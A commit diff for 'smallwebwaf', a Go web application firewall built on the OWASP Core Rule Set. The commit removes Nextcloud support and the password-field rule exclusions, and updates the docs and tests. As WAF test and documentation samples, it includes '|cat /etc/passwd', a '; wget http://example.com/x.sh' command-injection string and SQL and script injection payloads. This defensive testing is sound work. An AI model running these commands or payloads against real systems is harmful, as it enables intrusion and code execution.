Compare commits
1
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
dfff415ab8 |
No files matched your search
@@ -581,7 +581,7 @@ client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
|
|||||||
headers of every request, and no body unless `SWW_WAF_BODY_LIMIT` is set. In
|
headers of every request, and no body unless `SWW_WAF_BODY_LIMIT` is set. In
|
||||||
front of a code forge, bodies carry what people write and publish, which the
|
front of a code forge, bodies carry what people write and publish, which the
|
||||||
rules take for attacks.
|
rules take for attacks.
|
||||||
- `smallwebwaf` changes the Core Rule Set in fourteen ways so that ordinary
|
- `smallwebwaf` changes the Core Rule Set in thirteen ways so that ordinary
|
||||||
requests get through to the apps listed below. No setting undoes the changes;
|
requests get through to the apps listed below. No setting undoes the changes;
|
||||||
"Attack detection" in [`SPEC.md`](SPEC.md) lists them.
|
"Attack detection" in [`SPEC.md`](SPEC.md) lists them.
|
||||||
- These apps work out of the box at the default settings, and their recorded
|
- These apps work out of the box at the default settings, and their recorded
|
||||||
@@ -599,13 +599,6 @@ client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
|
|||||||
posts and deliveries from other servers get through.
|
posts and deliveries from other servers get through.
|
||||||
- Vaultwarden: on Vaultwarden's own paths, its names, password hints, email
|
- Vaultwarden: on Vaultwarden's own paths, its names, password hints, email
|
||||||
addresses and encrypted file names get through.
|
addresses and encrypted file names get through.
|
||||||
- Nextcloud: its sync client gets through. On Nextcloud's own paths, its
|
|
||||||
WebDAV methods, searches, file names, account names, comments and
|
|
||||||
documents do too.
|
|
||||||
- A password made of any printable characters gets through these forms:
|
|
||||||
- signing in, on WordPress, Drupal, MediaWiki and Nextcloud;
|
|
||||||
- signing in, signing up, changing the password, and moving or deleting the
|
|
||||||
account, on Mastodon.
|
|
||||||
- `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` switches single rules off for an app's own
|
- `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` switches single rules off for an app's own
|
||||||
fields or paths.
|
fields or paths.
|
||||||
- Rule files are plain text, one rule to a line, edited by hand and read again
|
- Rule files are plain text, one rule to a line, edited by hand and read again
|
||||||
|
|||||||
@@ -81,7 +81,7 @@ to them.
|
|||||||
of bans is full.
|
of bans is full.
|
||||||
- `internal/rules`: reads the rule files at start and again when they
|
- `internal/rules`: reads the rule files at start and again when they
|
||||||
change, and tells which rules a request matches.
|
change, and tells which rules a request matches.
|
||||||
- `internal/coreruleset`: the Core Rule Set, with the fourteen changes
|
- `internal/coreruleset`: the Core Rule Set, with the thirteen changes
|
||||||
listed under "Attack detection", as Coraza directives.
|
listed under "Attack detection", as Coraza directives.
|
||||||
- `internal/lookup`: looks clients up through GeoJS or in the lookup
|
- `internal/lookup`: looks clients up through GeoJS or in the lookup
|
||||||
database.
|
database.
|
||||||
@@ -676,7 +676,7 @@ files, the limits and the bans still apply to the client that sends it.
|
|||||||
- `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` names a file of exclusions, written as
|
- `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` names a file of exclusions, written as
|
||||||
Coraza directives. An exclusion switches one rule off for some fields or paths
|
Coraza directives. An exclusion switches one rule off for some fields or paths
|
||||||
only, where `SWW_WAF_DISABLED_RULES` switches it off everywhere. The file
|
only, where `SWW_WAF_DISABLED_RULES` switches it off everywhere. The file
|
||||||
holds an app's own exclusions. The eighth to fourteenth changes below hold
|
holds an app's own exclusions. The eighth to thirteenth changes below hold
|
||||||
those of the apps they name.
|
those of the apps they name.
|
||||||
- `discriminator` loads the file after `smallwebwaf`'s own setup rules and
|
- `discriminator` loads the file after `smallwebwaf`'s own setup rules and
|
||||||
before the Core Rule Set's rules. The Core Rule Set loads its own
|
before the Core Rule Set's rules. The Core Rule Set loads its own
|
||||||
@@ -723,7 +723,7 @@ files, the limits and the bans still apply to the client that sends it.
|
|||||||
scanner from an ordinary client. In front of a code forge, registry and git
|
scanner from an ordinary client. In front of a code forge, registry and git
|
||||||
clients get `404` and `401` by design, hundreds of times a minute.
|
clients get `404` and `401` by design, hundreds of times a minute.
|
||||||
|
|
||||||
`smallwebwaf` changes the Core Rule Set 4.25.0 in fourteen ways. Without them,
|
`smallwebwaf` changes the Core Rule Set 4.25.0 in thirteen ways. Without them,
|
||||||
it would refuse ordinary requests to these apps:
|
it would refuse ordinary requests to these apps:
|
||||||
|
|
||||||
- gitea;
|
- gitea;
|
||||||
@@ -731,24 +731,20 @@ it would refuse ordinary requests to these apps:
|
|||||||
- Drupal;
|
- Drupal;
|
||||||
- MediaWiki;
|
- MediaWiki;
|
||||||
- Mastodon;
|
- Mastodon;
|
||||||
- Vaultwarden;
|
- Vaultwarden.
|
||||||
- Nextcloud.
|
|
||||||
|
|
||||||
The changes hold in front of every app, and no setting undoes them:
|
The changes hold in front of every app, and no setting undoes them:
|
||||||
|
|
||||||
1. `PUT`, `PATCH` and `DELETE` are allowed methods besides `GET`, `HEAD`, `POST`
|
1. `PUT`, `PATCH` and `DELETE` are allowed methods besides `GET`, `HEAD`, `POST`
|
||||||
and `OPTIONS`. APIs, container image pushes and package uploads use them.
|
and `OPTIONS`. APIs, container image pushes and package uploads use them.
|
||||||
Other methods stay refused, except on Nextcloud's WebDAV paths, where the
|
Other methods stay refused.
|
||||||
fourteenth change allows the WebDAV methods Nextcloud uses.
|
|
||||||
2. The request header `Expect` is allowed, since curl and git send it before
|
2. The request header `Expect` is allowed, since curl and git send it before
|
||||||
some large uploads. `Content-Encoding` is allowed on a request whose body the
|
some large uploads. `Content-Encoding` is allowed on a request whose body the
|
||||||
Core Rule Set does not read, which by default is every request. git
|
Core Rule Set does not read, which by default is every request. git
|
||||||
compresses a fetch request over 1 KiB and says so in that header. On a body
|
compresses a fetch request over 1 KiB and says so in that header. On a body
|
||||||
the Core Rule Set does read, the header stays refused, since a compressed
|
the Core Rule Set does read, the header stays refused, since a compressed
|
||||||
body cannot be inspected. While `SWW_WAF_BODY_LIMIT` is set, it stays refused
|
body cannot be inspected. The other headers the Core Rule Set refuses, such
|
||||||
too on a `PUT` of JSON, XML or form data to Nextcloud's WebDAV paths, whose
|
as `Proxy`, stay refused.
|
||||||
body the fourteenth change leaves unread. The other headers the Core Rule Set
|
|
||||||
refuses, such as `Proxy`, stay refused.
|
|
||||||
3. The `redirect_uri` parameter is not checked for a URL naming an IP address or
|
3. The `redirect_uri` parameter is not checked for a URL naming an IP address or
|
||||||
`localhost` (931100, 934110). Git Credential Manager, git-credential-oauth
|
`localhost` (931100, 934110). Git Credential Manager, git-credential-oauth
|
||||||
and tea, which gitea registers for OAuth sign-in, ask to be sent back to
|
and tea, which gitea registers for OAuth sign-in, ask to be sent back to
|
||||||
@@ -768,10 +764,10 @@ The changes hold in front of every app, and no setting undoes them:
|
|||||||
catch reaches the app, such as the command `|cat /etc/passwd`. Path
|
catch reaches the app, such as the command `|cat /etc/passwd`. Path
|
||||||
traversal, SQL and script injection, and PHP, Java and Node.js code are
|
traversal, SQL and script injection, and PHP, Java and Node.js code are
|
||||||
still refused there. Other parameters keep all three rules. The eighth to
|
still refused there. Other parameters keep all three rules. The eighth to
|
||||||
fourteenth changes switch some of them off for some fields on the paths of
|
thirteenth changes switch some of them off for some fields on the paths of
|
||||||
the apps they name. An app that uses one of these parameters as a file on
|
gitea, WordPress, Drupal, MediaWiki, Mastodon and Vaultwarden. An app that
|
||||||
the server, or passes it to a shell, must check the value itself. A rule
|
uses one of these parameters as a file on the server, or passes it to a
|
||||||
file can refuse it instead.
|
shell, must check the value itself. A rule file can refuse it instead.
|
||||||
|
|
||||||
5. Two cookies are left out, and `Referer` keeps fewer rules:
|
5. Two cookies are left out, and `Referer` keeps fewer rules:
|
||||||
- The Core Rule Set reads the request without the `gitea_flash` and
|
- The Core Rule Set reads the request without the `gitea_flash` and
|
||||||
@@ -919,14 +915,7 @@ The changes hold in front of every app, and no setting undoes them:
|
|||||||
- `content` of a reply to a comment sent to `admin-ajax.php`.
|
- `content` of a reply to a comment sent to `admin-ajax.php`.
|
||||||
- `newcontent` of a plugin's or a theme's file saved from its editor,
|
- `newcontent` of a plugin's or a theme's file saved from its editor,
|
||||||
which is PHP.
|
which is PHP.
|
||||||
- `pwd`, the password when signing in, for each rule that random
|
- `pwd` when signing in, for the list of system files (930120).
|
||||||
passwords set off (920270, 920540, 921200, 930100, 930110, 930120,
|
|
||||||
932125, 932130, 932160, 932230, 932250, 932260, 932270, 932280,
|
|
||||||
932330, 932340, 932370, 932380, 933100, 933135, 933180, 933210,
|
|
||||||
941100, 941120, 941160, 941180, 942100, 942151, 942190, 942230,
|
|
||||||
942290, 942320, 942540, 942550, 944150). An SQL injection or a path
|
|
||||||
traversal sent as the password reaches WordPress. A script injection
|
|
||||||
is still refused.
|
|
||||||
- `title`, `excerpt` and `name` in a JSON body sent to any REST API
|
- `title`, `excerpt` and `name` in a JSON body sent to any REST API
|
||||||
route under `/wp/v2/`, for the rules on system files and commands
|
route under `/wp/v2/`, for the rules on system files and commands
|
||||||
(930120, 932120, 932250, 932260).
|
(930120, 932120, 932250, 932260).
|
||||||
@@ -994,13 +983,6 @@ The changes hold in front of every app, and no setting undoes them:
|
|||||||
- The body and comment body on the node and comment forms and through
|
- The body and comment body on the node and comment forms and through
|
||||||
JSON:API, which hold HTML and any code it shows.
|
JSON:API, which hold HTML and any code it shows.
|
||||||
- `name` and `pass` when signing in (930120, 932120, 932250, 932260).
|
- `name` and `pass` when signing in (930120, 932120, 932250, 932260).
|
||||||
- `pass`, the password when signing in, in form data or JSON, for each rule
|
|
||||||
that random passwords set off (920270, 920540, 921200, 930100, 930110,
|
|
||||||
930120, 932125, 932130, 932160, 932230, 932250, 932260, 932270, 932280,
|
|
||||||
932330, 932340, 932370, 932380, 933100, 933135, 933180, 933210, 941100,
|
|
||||||
941120, 941160, 941180, 942100, 942151, 942190, 942230, 942290, 942320,
|
|
||||||
942540, 942550, 944150). An SQL injection or a path traversal sent as the
|
|
||||||
password reaches Drupal. A script injection is still refused.
|
|
||||||
- `name` when resetting a password through Drupal's JSON format on
|
- `name` when resetting a password through Drupal's JSON format on
|
||||||
`/user/password`, for the same four rules.
|
`/user/password`, for the same four rules.
|
||||||
- `mail` in that same reset, for 932120 and 932260 only.
|
- `mail` in that same reset, for 932120 and 932260 only.
|
||||||
@@ -1080,16 +1062,6 @@ The changes hold in front of every app, and no setting undoes them:
|
|||||||
- `wpTextbox1` on MediaWiki's pages;
|
- `wpTextbox1` on MediaWiki's pages;
|
||||||
- `text`, `appendtext` and `prependtext` on `/api.php`;
|
- `text`, `appendtext` and `prependtext` on `/api.php`;
|
||||||
- `source` in the JSON body of `/rest.php/`.
|
- `source` in the JSON body of `/rest.php/`.
|
||||||
- The passwords when signing in, for each rule that random passwords set off
|
|
||||||
(920270, 920540, 921200, 930100, 930110, 930120, 932125, 932130, 932160,
|
|
||||||
932230, 932250, 932260, 932270, 932280, 932330, 932340, 932370, 932380,
|
|
||||||
933100, 933135, 933180, 933210, 941100, 941120, 941160, 941180, 942100,
|
|
||||||
942151, 942190, 942230, 942290, 942320, 942540, 942550, 944150):
|
|
||||||
- `wpPassword` on MediaWiki's pages;
|
|
||||||
- `lgpassword` and `password` on `/api.php`.
|
|
||||||
|
|
||||||
An SQL injection or a path traversal sent as a password reaches
|
|
||||||
MediaWiki. A script injection is still refused.
|
|
||||||
|
|
||||||
These body exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None
|
These body exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None
|
||||||
applies when the query has a parameter of the same name.
|
applies when the query has a parameter of the same name.
|
||||||
@@ -1216,23 +1188,6 @@ The changes hold in front of every app, and no setting undoes them:
|
|||||||
Each name contains `.forward`, a file in a home folder. So 930120 refused
|
Each name contains `.forward`, a file in a home folder. So 930120 refused
|
||||||
every report the web app sent. The keys' values keep every rule.
|
every report the web app sent. The keys' values keep every rule.
|
||||||
|
|
||||||
The passwords in a body skip each rule that random passwords set off
|
|
||||||
(920270, 920540, 921200, 930100, 930110, 930120, 932125, 932130, 932160,
|
|
||||||
932230, 932250, 932260, 932270, 932280, 932330, 932340, 932370, 932380,
|
|
||||||
933100, 933135, 933180, 933210, 941100, 941120, 941160, 941180, 942100,
|
|
||||||
942151, 942190, 942230, 942290, 942320, 942540, 942550, 944150):
|
|
||||||
- on `/auth`, `/settings/migration` and `/settings/delete`, and the paths
|
|
||||||
under them:
|
|
||||||
- `user[password]`, `user[password_confirmation]` and
|
|
||||||
`user[current_password]`;
|
|
||||||
- `account_migration[current_password]` and
|
|
||||||
`form_redirect[current_password]`;
|
|
||||||
- `form_delete_confirmation[password]`;
|
|
||||||
- `password` on `/api/v1/accounts`, in form data or JSON.
|
|
||||||
|
|
||||||
An SQL injection or a path traversal sent as a password reaches Mastodon. A
|
|
||||||
script injection is still refused.
|
|
||||||
|
|
||||||
These body exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None
|
These body exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None
|
||||||
applies when the query has a parameter of the same name.
|
applies when the query has a parameter of the same name.
|
||||||
|
|
||||||
@@ -1315,93 +1270,6 @@ The changes hold in front of every app, and no setting undoes them:
|
|||||||
Elsewhere these fields keep every rule. An app other than Vaultwarden that
|
Elsewhere these fields keep every rule. An app other than Vaultwarden that
|
||||||
serves one of these paths must check these fields itself.
|
serves one of these paths must check these fields itself.
|
||||||
|
|
||||||
14. On Nextcloud's paths, some fields skip the rules that refused ordinary
|
|
||||||
Nextcloud requests there, and its WebDAV methods are allowed.
|
|
||||||
`internal/coreruleset/nextcloud.conf` lists each rule and the request it
|
|
||||||
refused.
|
|
||||||
|
|
||||||
The sync client and the Files app use WebDAV on these paths:
|
|
||||||
- `/remote.php/dav/`;
|
|
||||||
- `/public.php/dav/`;
|
|
||||||
- `/remote.php/webdav/`;
|
|
||||||
- `/public.php/webdav/`.
|
|
||||||
|
|
||||||
These methods are allowed there, besides those of the first change:
|
|
||||||
- `PROPFIND` and `PROPPATCH`;
|
|
||||||
- `MKCOL`;
|
|
||||||
- `COPY` and `MOVE`;
|
|
||||||
- `REPORT` and `SEARCH`;
|
|
||||||
- `LOCK` and `UNLOCK`, with which the desktop client locks a file.
|
|
||||||
|
|
||||||
A file the Files app or the sync client uploads with `PUT` to these paths is
|
|
||||||
a file, not form data. The Core Rule Set does not read the body of a `PUT`
|
|
||||||
there. So a JSON file holding `python3 -m pytest` uploads, and so does an
|
|
||||||
XML file holding `ls -la /var/log`. The headers, path and query of the `PUT`
|
|
||||||
are still checked.
|
|
||||||
|
|
||||||
The cookie `nc_username` holds the name of the account signed in. It skips
|
|
||||||
the lists of system files and command names (930120, 932120, 932250, 932260)
|
|
||||||
on every path, since every request sends it.
|
|
||||||
|
|
||||||
These fields skip the same four rules, in the query or the body:
|
|
||||||
- On `/login`, for signing in:
|
|
||||||
- `user` and `password`;
|
|
||||||
- `redirect_url`, the page to go to after signing in.
|
|
||||||
- `dir`, the folder shown, on the paths under `/apps/files/`.
|
|
||||||
- The file names on a public share:
|
|
||||||
- `file` on the paths under `/apps/files_sharing/publicpreview/`;
|
|
||||||
- `path` and `files` on `/s/<token>/download`.
|
|
||||||
- On the OCS API, the paths under `/ocs/v1.php/` and `/ocs/v2.php/`:
|
|
||||||
- the searches `search` and `term`, and `from`, the page searched from;
|
|
||||||
- the names `groupid`, `userid`, `displayName` and `groups[]`;
|
|
||||||
- `value`, a new value of an account's details;
|
|
||||||
- `path`, `label` and `shareWith`, for a share.
|
|
||||||
|
|
||||||
These fields of a JSON body skip the same four rules:
|
|
||||||
- On the OCS API, each field of the list above.
|
|
||||||
- `value` on `/apps/theming/ajax/updateStylesheet`, the name and slogan in
|
|
||||||
the theming settings.
|
|
||||||
- `filePath` on `/apps/text/session/<id>/save`, the document the editor
|
|
||||||
saves.
|
|
||||||
- `name` on `/remote.php/dav/systemtags/`, a new tag.
|
|
||||||
|
|
||||||
`password` in the body of `/login`, the password when signing in, skips each
|
|
||||||
rule that random passwords set off (920270, 920540, 921200, 930100, 930110,
|
|
||||||
930120, 932125, 932130, 932160, 932230, 932250, 932260, 932270, 932280,
|
|
||||||
932330, 932340, 932370, 932380, 933100, 933135, 933180, 933210, 941100,
|
|
||||||
941120, 941160, 941180, 942100, 942151, 942190, 942230, 942290, 942320,
|
|
||||||
942540, 942550, 944150). It applies only when the query has no `password`
|
|
||||||
parameter. An SQL injection or a path traversal sent as the password reaches
|
|
||||||
Nextcloud. A script injection is still refused.
|
|
||||||
|
|
||||||
Some fields hold sentences a person writes:
|
|
||||||
- `note`, a share's note, on `apps/files_sharing/api/v1/shares` of the OCS
|
|
||||||
API and on each share under it;
|
|
||||||
- `message`, an account's status, on
|
|
||||||
`apps/user_status/api/v1/user_status/message/custom` of the OCS API;
|
|
||||||
- `message` in the JSON body that posts a comment to
|
|
||||||
`/remote.php/dav/comments/files/<id>`;
|
|
||||||
- the XML body of a `PROPPATCH` that edits a comment;
|
|
||||||
- `autosaveContent` on `/apps/text/session/<id>/save`, the text of a
|
|
||||||
document.
|
|
||||||
|
|
||||||
These fields skip the same four rules. They also skip the rules that refused
|
|
||||||
ordinary sentences there, such as `It is fixed; diff attached` (932125,
|
|
||||||
932230, 932235, 932380). A share's note and a status skip them in the query
|
|
||||||
or the body. A document's text skips two more, which refused a shell script
|
|
||||||
in a code block (932160, 932370). So a shell command such as
|
|
||||||
`; wget http://example.com/x.sh` reaches Nextcloud in these fields. SQL
|
|
||||||
injection, path traversal and script injection are still refused there.
|
|
||||||
|
|
||||||
The XML body of a `SEARCH` on `/remote.php/dav/`, the Files app's search,
|
|
||||||
skips the four rules.
|
|
||||||
|
|
||||||
These body exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None
|
|
||||||
applies to a JSON field when the query has a parameter of that name, such as
|
|
||||||
`json.message`. Nextcloud's pages are matched at the site root and under
|
|
||||||
`/index.php/`. Elsewhere these fields keep every rule. An app other than
|
|
||||||
Nextcloud that serves one of these paths must check these fields itself.
|
|
||||||
|
|
||||||
The parameter and cookie names in these changes are matched without regard to
|
The parameter and cookie names in these changes are matched without regard to
|
||||||
case, as Coraza matches them.
|
case, as Coraza matches them.
|
||||||
|
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
// Package coreruleset runs the OWASP Core Rule Set 4.25.0, through Coraza, on the
|
// Package coreruleset runs the OWASP Core Rule Set 4.25.0, through Coraza, on the
|
||||||
// method, the URL with its query and the headers of a request, and on its
|
// method, the URL with its query and the headers of a request, and on its
|
||||||
// body while SWW_WAF_BODY_LIMIT is set, with the fourteen changes sww
|
// body while SWW_WAF_BODY_LIMIT is set, with the thirteen changes sww
|
||||||
// makes to it and the exclusions in SWW_CORE_RULE_SET_EXCLUSIONS_FILE, as
|
// makes to it and the exclusions in SWW_CORE_RULE_SET_EXCLUSIONS_FILE, as
|
||||||
// "Attack detection" under "Settings" in SPEC.md describes them. It reads no
|
// "Attack detection" under "Settings" in SPEC.md describes them. It reads no
|
||||||
// response.
|
// response.
|
||||||
@@ -35,8 +35,8 @@ import (
|
|||||||
// SWW_WAF_BODY_LIMIT is set, the exclusions file for the second,
|
// SWW_WAF_BODY_LIMIT is set, the exclusions file for the second,
|
||||||
// giteaExclusions for the third, wordpressExclusions for the fourth,
|
// giteaExclusions for the third, wordpressExclusions for the fourth,
|
||||||
// drupalExclusions for the fifth, mediawikiExclusions for the sixth,
|
// drupalExclusions for the fifth, mediawikiExclusions for the sixth,
|
||||||
// mastodonExclusions for the seventh, vaultwardenExclusions for the eighth,
|
// mastodonExclusions for the seventh, and vaultwardenExclusions for the
|
||||||
// and nextcloudExclusions for the ninth.
|
// eighth.
|
||||||
// Each rule sww adds has an id from 900000 to 900999, the ids the
|
// Each rule sww adds has an id from 900000 to 900999, the ids the
|
||||||
// Core Rule Set keeps for the rules that set it up, which
|
// Core Rule Set keeps for the rules that set it up, which
|
||||||
// SWW_WAF_DISABLED_RULES and the exclusions file refuse, so that no
|
// SWW_WAF_DISABLED_RULES and the exclusions file refuse, so that no
|
||||||
@@ -99,10 +99,7 @@ SecRule ARGUMENTS_LIMIT_REACHED "@eq 1" "id:900300,phase:2,pass,\
|
|||||||
# So does the twelfth.
|
# So does the twelfth.
|
||||||
%s
|
%s
|
||||||
|
|
||||||
# So does the thirteenth.
|
# And the thirteenth.
|
||||||
%s
|
|
||||||
|
|
||||||
# And the fourteenth.
|
|
||||||
%s
|
%s
|
||||||
|
|
||||||
# The sixth: only the rules for requests are loaded, and no response is
|
# The sixth: only the rules for requests are loaded, and no response is
|
||||||
@@ -231,14 +228,6 @@ var mastodonExclusions string
|
|||||||
//go:embed vaultwarden.conf
|
//go:embed vaultwarden.conf
|
||||||
var vaultwardenExclusions string
|
var vaultwardenExclusions string
|
||||||
|
|
||||||
// nextcloudExclusions are the fourteenth change: the fields of Nextcloud's
|
|
||||||
// own requests that skip the rules that refused them there, the WebDAV
|
|
||||||
// methods it uses, its cookie of the account's name, and its uploads,
|
|
||||||
// whose bodies are not read, as Coraza directives.
|
|
||||||
//
|
|
||||||
//go:embed nextcloud.conf
|
|
||||||
var nextcloudExclusions string
|
|
||||||
|
|
||||||
// cookiesNotRead are the cookies the Core Rule Set reads a request
|
// cookiesNotRead are the cookies the Core Rule Set reads a request
|
||||||
// without, the rest of the fifth change.
|
// without, the rest of the fifth change.
|
||||||
//
|
//
|
||||||
@@ -352,7 +341,7 @@ type CoreRuleSet struct {
|
|||||||
bodyLimit int64
|
bodyLimit int64
|
||||||
}
|
}
|
||||||
|
|
||||||
// New returns the Core Rule Set with the fourteen changes, at params'
|
// New returns the Core Rule Set with the thirteen changes, at params'
|
||||||
// paranoia level, without the rules it switches off, reading request
|
// paranoia level, without the rules it switches off, reading request
|
||||||
// bodies up to params' limit, and with params' exclusions file loaded
|
// bodies up to params' limit, and with params' exclusions file loaded
|
||||||
// before the Core Rule Set's rules. An exclusions file is an error if it
|
// before the Core Rule Set's rules. An exclusions file is an error if it
|
||||||
@@ -381,8 +370,7 @@ func New(params Params) (*CoreRuleSet, error) {
|
|||||||
|
|
||||||
text := fmt.Sprintf(directives, params.ParanoiaLevel, body, exclusions,
|
text := fmt.Sprintf(directives, params.ParanoiaLevel, body, exclusions,
|
||||||
giteaExclusions, wordpressExclusions, drupalExclusions,
|
giteaExclusions, wordpressExclusions, drupalExclusions,
|
||||||
mediawikiExclusions, mastodonExclusions, vaultwardenExclusions,
|
mediawikiExclusions, mastodonExclusions, vaultwardenExclusions)
|
||||||
nextcloudExclusions)
|
|
||||||
|
|
||||||
if len(params.DisabledRules) > 0 {
|
if len(params.DisabledRules) > 0 {
|
||||||
ids := make([]string, len(params.DisabledRules))
|
ids := make([]string, len(params.DisabledRules))
|
||||||
|
|||||||
@@ -1,10 +1,8 @@
|
|||||||
package coreruleset_test
|
package coreruleset_test
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"context"
|
|
||||||
"encoding/json"
|
"encoding/json"
|
||||||
"fmt"
|
"fmt"
|
||||||
"math/rand/v2"
|
|
||||||
"net/http"
|
"net/http"
|
||||||
"net/http/httptest"
|
"net/http/httptest"
|
||||||
"net/netip"
|
"net/netip"
|
||||||
@@ -204,7 +202,7 @@ func atDefaults(t *testing.T) *coreruleset.CoreRuleSet {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// wantChange checks that crs lets through passes, a request one of the
|
// wantChange checks that crs lets through passes, a request one of the
|
||||||
// fourteen changes is for, and still finds result in refused, a request like
|
// thirteen changes is for, and still finds result in refused, a request like
|
||||||
// it that the change is not for.
|
// it that the change is not for.
|
||||||
func wantChange(
|
func wantChange(
|
||||||
t *testing.T, crs *coreruleset.CoreRuleSet, passes, refused request,
|
t *testing.T, crs *coreruleset.CoreRuleSet, passes, refused request,
|
||||||
@@ -607,269 +605,24 @@ func giteaRequests(t *testing.T) []request {
|
|||||||
return requests
|
return requests
|
||||||
}
|
}
|
||||||
|
|
||||||
// An SQL injection, a script injection and a shell command after a ";", as
|
// An SQL injection and a script injection, as a query value. Every app's
|
||||||
// query values. Every app's tests check that its fields still refuse the
|
// tests check that its fields still refuse them.
|
||||||
// first two.
|
|
||||||
const (
|
const (
|
||||||
sqlInjection = "1'%20OR%20'1'='1"
|
sqlInjection = "1'%20OR%20'1'='1"
|
||||||
scriptInjection = "%3Cscript%3Ealert(1)%3C%2Fscript%3E"
|
scriptInjection = "%3Cscript%3Ealert(1)%3C%2Fscript%3E"
|
||||||
commandInjection = "%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh"
|
|
||||||
)
|
)
|
||||||
|
|
||||||
// passwordField is the form data field password, ending in "=", in which
|
|
||||||
// several apps take a password.
|
|
||||||
const passwordField = "password="
|
|
||||||
|
|
||||||
// hardValues are words that name commands and files, as a query or form
|
// hardValues are words that name commands and files, as a query or form
|
||||||
// value. An app's tests check that its fields let them through.
|
// value. An app's tests check that its fields let them through.
|
||||||
//
|
//
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
var hardValues = []string{"python3", "powershell", "ls%20-la", ".htaccess"}
|
var hardValues = []string{"python3", "powershell", "ls%20-la", ".htaccess"}
|
||||||
|
|
||||||
// randomPassword returns a password of 20 characters, each one of the 95
|
|
||||||
// printable ASCII characters, space included, drawn from random.
|
|
||||||
func randomPassword(random *rand.Rand) string {
|
|
||||||
const length = 20
|
|
||||||
|
|
||||||
var printable []byte
|
|
||||||
for c := byte(' '); c <= '~'; c++ {
|
|
||||||
printable = append(printable, c)
|
|
||||||
}
|
|
||||||
|
|
||||||
password := make([]byte, length)
|
|
||||||
for i := range password {
|
|
||||||
password[i] = printable[random.IntN(len(printable))]
|
|
||||||
}
|
|
||||||
|
|
||||||
return string(password)
|
|
||||||
}
|
|
||||||
|
|
||||||
// rarePasswords are random passwords from randomPasswords' seed, found among
|
|
||||||
// the first 1,000,000. Each sets off the rule named beside it, which the first
|
|
||||||
// 2,000 do not set off.
|
|
||||||
//
|
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
|
||||||
var rarePasswords = []string{
|
|
||||||
"x)g|E0f)~.um%00G]<oA", // 920270
|
|
||||||
"uC?mK\\U2fEbXA}~j7fPb", // 920540
|
|
||||||
"4;yfIDKZYNtZT)(w-=%@", // 921200
|
|
||||||
"`sAIfEVdBprjxR$/.?\\d", // 930100
|
|
||||||
"Unt@1xza,:%j$/..;5y+", // 930110
|
|
||||||
"VN.CVsu^3vbUS==4Q&Y@", // 930120
|
|
||||||
"gJ<EcT)jhZ'`GC>cX~hM", // 932125
|
|
||||||
" /\"j14y[%\\(iM]zmG%=^", // 932130
|
|
||||||
"\\f*q5v$]$IfS3JoY:*r1", // 932160
|
|
||||||
"*e#!-z{Jq)Sqwx@k:b:}", // 932230
|
|
||||||
"pErl>vR[Z7K^<f%_4,WZ", // 932260
|
|
||||||
"){2P,GU}a3mYvjq^(p1^", // 932280
|
|
||||||
"xw4UGJk!-8#ZE(`.ij.O", // 932330
|
|
||||||
" XVw(2mN5R,+%~_f\"n<?", // 933100
|
|
||||||
"0ZK1D>`RHb+RW${/(z}C", // 933135
|
|
||||||
"Ep3!qqe 7$RT(_)@SLV6", // 933180
|
|
||||||
"&:4WomDrn$\"(SE_D);Ja", // 933210
|
|
||||||
"='nlIgN7ON\\\\mWt=Tr84", // 941120
|
|
||||||
"P]/C>Ef]F-<sV,&gs.[4", // 941160
|
|
||||||
"<!--a\"9Ju}r!2=J-kZDd", // 941180
|
|
||||||
"@`].*EJ?`Cw^8\\orD!(f", // 942151
|
|
||||||
"StTj*t:IF(Uq_<aG0mya", // 942230
|
|
||||||
"t,D-oJjnvL Dn!o::Int", // 942320
|
|
||||||
"Z>\"{Z\\QDwqBQs%v}`nBu", // 942550
|
|
||||||
"`aV#3${J4,\\h.q' k\\${", // 944150
|
|
||||||
}
|
|
||||||
|
|
||||||
// randomPasswords returns 2,000 random passwords from a fixed seed, then
|
|
||||||
// rarePasswords.
|
|
||||||
func randomPasswords() []string {
|
|
||||||
const count, seed = 2000, 276
|
|
||||||
|
|
||||||
random := rand.New(rand.NewPCG(seed, seed)) //nolint:gosec // a fixed sample
|
|
||||||
|
|
||||||
passwords := make([]string, count, count+len(rarePasswords))
|
|
||||||
for i := range passwords {
|
|
||||||
passwords[i] = randomPassword(random)
|
|
||||||
}
|
|
||||||
|
|
||||||
return append(passwords, rarePasswords...)
|
|
||||||
}
|
|
||||||
|
|
||||||
// passwordBody returns a body of r's type, form data or JSON, that sends
|
|
||||||
// each of passwords in the field name. Coraza checks each value of a field
|
|
||||||
// on its own, and keeps every value of a JSON key sent more than once.
|
|
||||||
func passwordBody(t *testing.T, r request, name string, passwords ...string) string {
|
|
||||||
t.Helper()
|
|
||||||
|
|
||||||
if r.headers[0] != jsonBody {
|
|
||||||
return formBody(name, passwords...)
|
|
||||||
}
|
|
||||||
|
|
||||||
values := make([]string, len(passwords))
|
|
||||||
|
|
||||||
for i, password := range passwords {
|
|
||||||
pair, err := json.Marshal(map[string]string{name: password})
|
|
||||||
if err != nil {
|
|
||||||
t.Fatal(err)
|
|
||||||
}
|
|
||||||
|
|
||||||
values[i] = strings.Trim(string(pair), "{}")
|
|
||||||
}
|
|
||||||
|
|
||||||
return "{" + strings.Join(values, ",") + "}"
|
|
||||||
}
|
|
||||||
|
|
||||||
// formBody returns a form data body that sends each of values in the field
|
|
||||||
// name.
|
|
||||||
func formBody(name string, values ...string) string {
|
|
||||||
fields := make([]string, len(values))
|
|
||||||
for i, value := range values {
|
|
||||||
fields[i] = url.QueryEscape(name) + "=" + url.QueryEscape(value)
|
|
||||||
}
|
|
||||||
|
